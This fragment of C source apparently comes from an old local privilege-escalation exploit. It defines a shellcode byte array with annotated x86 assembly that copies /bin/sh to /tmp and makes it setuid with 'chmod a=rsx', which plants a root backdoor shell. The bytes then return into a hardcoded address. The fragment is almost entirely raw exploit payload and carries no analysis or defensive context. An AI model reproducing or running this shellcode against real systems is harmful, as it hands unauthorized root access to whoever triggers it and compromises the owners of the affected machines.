  char code_string[]=
                      {
                         "\xeb\x50"                         /* jmp    cont */
/* geteip: */            "\x5d"                             /* popl   %ebp */
                         "\x55"                             /* pushl  %ebp */
                         "\xff\x8d\xc3\xff\xff\xff"         /* decl   0xffffffc3(%ebp) */
                         "\xff\x8d\xd7\xff\xff\xff"         /* decl   0xffffffd7(%ebp) */
                         "\xc3"                             /* ret */
/* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
/* 0xffffffc3(%ebp): */ "\x3c"
                        "chmod a=rsx /tmp/sh"
/* 0xffffffd7(%ebp): */ "\x01"
                        "-leshka-leshka-leshka-leshka-"    /* reserved */
/* cont:  */            "\xc7\xc4\x70\xcf\xbf\xef"         /* movl   $0xefbfcf70,%esp */
                        "\xe8\xa5\xff\xff\xff"             /* call   geteip */
                        "\x81\xc5\xb4\xff\xff\xff"         /* addl   $0xb4ffffff,%ebp */
                        "\x55"                             /* pushl  %ebp */
                        "\x55"                             /* pushl  %ebp */
                        "\x68\xd0\x77\x04\x08"             /* pushl  $0x80477d0  */
                        "\xc3"                             /* ret */
                        "-leshka-leshka-leshka-leshka-"    /* reserved */
                        "\xa0\xcf\xbf\xef"
                     };
